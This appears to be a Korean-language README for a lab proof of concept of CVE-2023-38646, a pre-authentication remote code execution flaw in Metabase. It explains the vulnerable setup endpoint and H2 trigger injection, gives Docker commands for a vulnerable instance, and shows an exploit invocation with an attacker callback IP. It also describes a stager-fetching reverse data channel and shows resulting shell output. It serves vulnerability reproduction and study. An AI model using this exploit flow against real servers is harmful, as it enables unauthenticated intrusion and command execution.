
레포에는 cve 2023-38646의 PoC와 재현 단계가 포함되어 있습니다
cd ~/metabase-poc cat > README.md << 'EOF'
CVSS 9.8. 0.46.6.1 / 1.46.6.1 이전의 Metabase 버전(및 이에 상응하는 이전 브랜치)은 /api/setup/validate 엔드포인트를 통해 사전 인증 RCE를 노출합니다. 이 엔드포인트는 초기 설정 중 데이터베이스 연결 세부 정보를 검증하기 위한 것이지만, 설정이 완료된 후에도 인증 없이 접근 가능합니다.
엔드포인트는 데이터베이스 연결 페이로드를 허용하며, engine: h2가 지정되고 조작된 JDBC 연결 문자열과 함께 사용될 경우 H2의 CREATE TRIGGER ... AS $$//javascript 구문을 통해 임의의 JavaScript를 삽입할 수 있습니다. 트리거 본문은 검증 시 실행되어 공격자에게 JVM 내에서 JavaScript 실행을 제공하며, 이는 java.lang.Runtime.getRuntime().exec()를 통해 OS 명령 실행으로 쉽게 이어집니다.
근본적인 문제는 H2 데이터베이스 엔진이 데이터 소스를 '검증'하는 과정에서 연결 문자열에 포함된 코드를 신뢰하고, Metabase가 이 검증 경로를 사전 인증 상태로 노출한다는 점입니다.
metabase/metabase:v0.46.6 Docker 이미지requests, termcolor취약한 Metabase 실행:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
익스플로잇 종속성 설치:
pip3 install requests termcolor
/api/session/properties는 일회성 초기 설정 흐름을 제한하기 위한 setup-token을 유출하지만, 설정이 완료된 후에도 유효하고 사용 가능한 상태로 남아 있습니다.java.lang.Runtime.getRuntime().exec()를 사용하여 공격자의 HTTP 서버에서 bash 스테이저를 가져오고 명령 출력을 원시 TCP 리스너를 통해 base64로 인코딩하여 다시 전송합니다.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — 공격자 콜백 IP (대상이 로컬 컨테이너인 경우 Docker 브리지 게이트웨이, 예: 172.17.0.1)-p — 역방향 데이터 채널이 연결되는 포트-P — 스테이저 스크립트를 제공하는 로컬 HTTP 서버 포트-u — 대상 Metabase 기본 URL사전 인증 콜백이 익스플로잇 가능성을 확인하면 대화형 metabase_shell > 프롬프트가 표시됩니다.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
metabase 서비스 계정으로 명령 실행이 확인되었습니다 — 사전 인증, 자격 증명 불필요. 심각도는 결과 셸의 권한 수준이 아니라 인증 없이 네트워크를 통해 접근 가능한 RCE에서 비롯됩니다.
Metabase 0.46.6.1 / 1.46.6.1 이상에서 패치됨 — /api/setup/validate 엔드포인트는 이제 설정이 실제로 완료되지 않아야 하며, 초기 설정이 완료되면 설정 토큰이 무효화됩니다.
격리된 실험실 전용으로만 사용하십시오. 소유하지 않거나 테스트할 명시적 권한이 없는 Metabase 인스턴스에 대해 실행하지 마십시오.